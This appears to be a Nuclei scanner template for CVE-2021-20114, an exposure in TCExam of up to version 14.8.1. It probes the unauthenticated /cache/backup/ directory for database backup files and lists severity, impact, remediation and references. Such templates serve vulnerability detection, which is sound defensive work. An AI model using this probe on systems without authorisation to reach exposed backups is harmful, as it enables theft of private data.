id: CVE-2021-20114

info:
  name: TCExam <= 14.8.1 - Sensitive Information Exposure
  author: push4d
  severity: high
  description: When installed following the default/recommended settings, TCExam <= 14.8.1 allowed unauthenticated users to access the /cache/backup/ directory, which includes sensitive database backup files.
  impact: |
    An attacker can gain access to sensitive information, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade TCExam to a version higher than 14.8.1 to mitigate the vulnerability.
  reference:
    - https://es-la.tenable.com/security/research/tra-2021-32?tns_redirect=true
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20114
    - https://www.tenable.com/security/research/tra-2021-32
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20114
    cwe-id: CWE-425
    epss-score: 0.05973
    epss-percentile: 0.92358
    cpe: cpe:2.3:a:tecnick:tcexam:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tecnick
    product: tcexam
  tags: cve,cve2021,tcexam,disclosure,exposure,tenable,tecnick,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cache/backup/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Index of /cache/backup"
          - "Parent Directory"
          - ".sql.gz"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203f14c32b0919b67823e8ff15abf6f3745b027ee08cc50979acc84d1c82eacd3302210086462576b68a57982e0db3203384e48d9d247c54ffa7c0ca0d614294947a4261:922c64590222798bb761d5b6d8e72950